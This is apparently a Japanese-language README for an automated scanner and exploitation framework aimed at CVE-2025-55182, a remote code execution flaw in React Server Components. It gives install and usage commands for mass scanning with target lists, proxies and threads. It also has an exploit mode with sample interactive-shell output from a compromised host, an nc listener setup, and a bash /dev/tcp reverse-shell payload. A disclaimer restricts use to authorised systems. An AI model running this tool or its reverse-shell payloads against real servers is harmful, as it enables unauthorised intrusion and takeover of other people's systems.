
React Server Components向けの重大なRCE脆弱性スキャナー (CVE-2025-55182)。マルチペイロードサポート、プロキシ機能、インタラクティブなコマンド実行を備えた自動化悪用フレームワーク。
[!Warning] このリポジトリは教育および研究目的のみを意図しています。
- 提供されるPoCは自身が所有するシステム、または明示的な許可を得たシステムでのみ使用してください。
- 無許可のアクセス、悪用、またはこのリポジトリ内の素材の誤用は違法です。
- 作者は不適切な使用に起因するいかなる損害、誤用、または法的結果についても一切責任を負いません。
CVE-2025-55182 は、React Server Components バージョン 19.0.0、19.1.0、19.1.1、および 19.2.0 に影響する重大なリモートコード実行脆弱性です。この脆弱性は、Server Function エンドポイントへの HTTP リクエストペイロードの安全でないデシリアライゼーションに起因し、認証されていない攻撃者がリモートで任意のコードを実行することを可能にします。
CVE ID: CVE-2025-55182
影響を受けるバージョン:
git clone https://github.com/AliHzSec/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 main.py [-h] (-d | -e) [-u URL] [-l LIST] [-p PROXY | -pl PROXY_LIST] [-t THREADS] [-s]
python3 main.py -d -u https://example.com
python3 main.py -d -l targets.txt
python3 main.py -d -l targets.txt -p http://127.0.0.1:8080
python3 main.py -d -l targets.txt -s
python3 main.py -d -l targets.txt -t 20
python3 main.py -e -u https://vulnerable-site.com
次に、インタラクティブシェル用に [i] を選択します:
Choose exploitation method:
[i] Interactive shell
[r] Reverse shell
Enter your choice (i/r): i
shell> whoami
ec2-user
shell> id
uid=1000(ec2-user) gid=1000(ec2-user) groups=1000(ec2-user)
shell> ls -la
total 48
drwxrwxr-x 5 user user 4096 Dec 7 10:00 .
drwxr-xr-x 3 root root 4096 Dec 1 08:00 ...
...
shell> exit
python3 main.py -e -u https://vulnerable-site.com
次に、リバースシェル用に [r] を選択し、ペイロードタイプを選びます:
Choose exploitation method:
[i] Interactive shell
[r] Reverse shell
Enter your choice (i/r): r
Choose payload option:
[d] Use default payloads (Try multiple reverse shells)
[c] Provide custom payload
Enter your choice (d/c): d
Enter your IP and port in this format:
Example: 192.168.1.100:4444
IP:PORT> 192.168.1.100:4444
Setup your listener with this command:
nc -lvnp 4444
Press ENTER when your listener is ready...
このツールは、成功するまで17以上の異なるリバースシェルペイロードを自動的に試行します。
Enter your choice (d/c): c
Enter your custom reverse shell payload:
payload> bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
| 引数 | 説明 |
|---|
-d, --detection | 検出モードで実行(脆弱性をスキャン) |
-e, --exploit | エクスプロイトモードで実行(単一ターゲットを悪用) |
-u, --url URL | スキャン/エクスプロイトする単一ターゲットURL |
-l, --list FILE | ターゲットURLのリストを含むファイル(検出モードのみ) |
-p, --proxy URL | 単一プロキシURL(例:http://127.0.0.1:8080) |
-pl, --proxy-list FILE | プロキシURLのリストを含むファイル(1行に1つ) |
-t, --threads N | 同時スレッド数(デフォルト:10、検出モードのみ) |
-s, --silent | サイレントモード - 脆弱なターゲットのみ表示(検出モードのみ) |
-o, --output [FILE] | 脆弱なターゲットをファイルに保存(検出モードのみ)。ファイル名が指定されない場合、デフォルト:CVE-2025-55182_Result_YYYYMMDD_HHMMSS.txt を使用 |
--debug | デバッグロギングを有効化 - 応答の詳細と再試行試行を表示(サイレントモードでは使用不可) |